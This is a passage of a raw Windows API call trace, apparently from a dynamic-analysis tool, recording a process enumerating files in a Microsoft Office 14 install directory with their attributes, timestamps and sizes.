nFileSizeHigh=0x0, nFileSizeLow=0xd7b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART6.BDR", cAlternateFileName="")) returned 1 [0200.472] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xf24, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART7.BDR", cAlternateFileName="")) returned 1 [0200.472] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xbfca, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART8.BDR", cAlternateFileName="")) returned 1 [0200.472] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 1 [0200.472] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xc696, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART9.BDR", cAlternateFileName="")) returned 0 [0200.472] FindClose (in: hFindFile=0x639848 | out: hFindFile=0x639848) returned 1 [0200.473] GetProcessHeap () returned 0x550000 [0200.473] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x6065c0 | out: hHeap=0x550000) returned 1 [0200.473] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ee75d00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd248dbc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x1ee75d00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0x2d998, dwReserved0=0x0, dwReserved1=0x0, cFileName="BRTVIEW.DLL", cAlternateFileName="")) returned 1 [0200.473] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xcf8844c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xe7380, dwReserved0=0x0, dwReserved1=0x0, cFileName="BSTORM.DLL", cAlternateFileName="")) returned 1 [0200.473] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x500f7b00, ftCreationTime.dwHighDateTime=0x1cba5d5, ftLastAccessTime.dwLowDateTime=0xd83c4bc0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x500f7b00, ftLastWriteTime.dwHighDateTime=0x1cba5d5, nFileSizeHigh=0x0, nFileSizeLow=0x81d58, dwReserved0=0x0, dwReserved1=0x0, cFileName="CDLMSO.DLL", cAlternateFileName="")) returned 1 [0200.473] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeec79e70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x7b09, dwReserved0=0x0, dwReserved1=0x0, cFileName="CGMIMP32.HLP", cAlternateFileName="")) returned 1 [0200.474] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb44f4800, ftCreationTime.dwHighDateTime=0x1c21319, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb44f4800, ftLastWriteTime.dwHighDateTime=0x1c21319, nFileSizeHigh=0x0, nFileSizeLow=0xdcc2, dwReserved0=0x0, dwReserved1=0x0, cFileName="CharSetTable.chr", cAlternateFileName="CHARSE~1.CHR")) returned 1 [0200.474] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22bf4c00, ftCreationTime.dwHighDateTime=0x1cba06e, ftLastAccessTime.dwLowDateTime=0xcf0edea0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x22bf4c00, ftLastWriteTime.dwHighDateTime=0x1cba06e, nFileSizeHigh=0x0, nFileSizeLow=0x41f78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CLVIEW.EXE", cAlternateFileName="")) returned 1 [0200.474] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2149b700, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24d9e80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x2149b700, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xb0578, dwReserved0=0x0, dwReserved1=0x0, cFileName="CMAX20.DLL", cAlternateFileName="")) returned 1 [0200.474] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd250400, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd250400, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x37160, dwReserved0=0x0, dwReserved1=0x0, cFileName="CNFNOT32.EXE", cAlternateFileName="")) returned 1 [0200.474] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11ca6e00, ftCreationTime.dwHighDateTime=0x1cb701e, ftLastAccessTime.dwLowDateTime=0xd24fffe0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x11ca6e00, ftLastWriteTime.dwHighDateTime=0x1cb701e, nFileSizeHigh=0x0, nFileSizeLow=0xcf88, dwReserved0=0x0, dwReserved1=0x0, cFileName="CODEEDIT.DLL", cAlternateFileName="")) returned 1 [0200.474] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x337e5b00, ftCreationTime.dwHighDateTime=0x1caca25, ftLastAccessTime.dwLowDateTime=0x6048cf10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x337e5b00, ftLastWriteTime.dwHighDateTime=0x1caca25, nFileSizeHigh=0x0, nFileSizeLow=0x2cb78, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONTAB32.DLL", cAlternateFileName="")) returned 1 [0200.474] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6471c400, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0x604b3070, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6471c400, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0x36580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ContactPicker.dll", cAlternateFileName="CONTAC~1.DLL")) returned 1 [0200.474] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ceed98 | out: lpFindFileData=0x2ceed98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="CONVERT", cAlternateFileName="")) returned 1 [0200.474] GetProcessHeap () returned 0x550000 [0200.474] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x6065c0 [0200.474] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\*", lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639848 [0200.646] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfff68b70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x6d547830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d547830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.646] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0200.646] GetProcessHeap () returned 0x550000 [0200.646] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x26010a0 [0200.647] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\CONVERT\\1033\\*", lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639888 [0200.984] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe7ef0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x21c6910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0200.985] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xccc730, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3R.SAM", cAlternateFileName="")) returned 1 [0200.985] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xebb910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMR.FAE", cAlternateFileName="")) returned 1 [0200.985] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf07bd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x9180, dwReserved0=0x0, dwReserved1=0x0, cFileName="LOCALDV.DLL", cAlternateFileName="")) returned 1 [0200.985] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBCR.SAM", cAlternateFileName="")) returned 1 [0200.985] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf53e90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x35b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADDR.FAE", cAlternateFileName="")) returned 1 [0200.985] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0xf79ff0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2db8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPTR.FAE", cAlternateFileName="")) returned 1 [0200.985] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x1332250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNLR.FAE", cAlternateFileName="")) returned 1 [0200.985] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x27b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAILR.FAE", cAlternateFileName="")) returned 1 [0200.986] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x25b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLNOTER.FAE", cAlternateFileName="")) returned 1 [0200.986] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3d90, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLR.SAM", cAlternateFileName="")) returned 1 [0200.986] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x137e510, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x29b0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLTASKR.FAE", cAlternateFileName="")) returned 1 [0200.986] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x13a4670, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x31a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ORG97R.SAM", cAlternateFileName="")) returned 1 [0200.986] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x14af010, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x2b88, dwReserved0=0x0, dwReserved1=0x0, cFileName="PABR.SAM", cAlternateFileName="")) returned 1 [0200.986] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 1 [0200.986] FindNextFileW (in: hFindFile=0x639888, lpFindFileData=0x2cee888 | out: lpFindFileData=0x2cee888*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x21c6910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x3590, dwReserved0=0x0, dwReserved1=0x0, cFileName="TRANSMRR.DLL", cAlternateFileName="")) returned 0 [0200.986] FindClose (in: hFindFile=0x639888 | out: hFindFile=0x639888) returned 1 [0200.988] GetProcessHeap () returned 0x550000 [0200.988] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x26010a0 | out: hHeap=0x550000) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51174850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x16178, dwReserved0=0x0, dwReserved1=0x0, cFileName="ACT3.SAM", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7990, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMDOS.FAE", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x60760930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x79a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="DELIMWIN.FAE", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x51da7910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x5b80, dwReserved0=0x0, dwReserved1=0x0, cFileName="DESKSAM.SAM", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x5969b6f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf978, dwReserved0=0x0, dwReserved1=0x0, cFileName="ODBC.SAM", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd53ad0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x7180, dwReserved0=0x0, dwReserved1=0x0, cFileName="OL.SAM", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x207a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLADD.FAE", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd79c30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x1dda8, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLAPPT.FAE", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x597cc1f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0x117a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLJRNL.FAE", cAlternateFileName="")) returned 1 [0200.988] FindNextFileW (in: hFindFile=0x639848, lpFindFileData=0x2ceeb10 | out: lpFindFileData=0x2ceeb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42794100, ftCreationTime.dwHighDateTime=0x1cab7ca, ftLastAccessTime.dwLowDateTime=0x6bd9fd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x42794100, ftLastWriteTime.dwHighDateTime=0x1cab7ca, nFileSizeHigh=0x0, nFileSizeLow=0xf798, dwReserved0=0x0, dwReserved1=0x0, cFileName="OLMAIL.FAE", 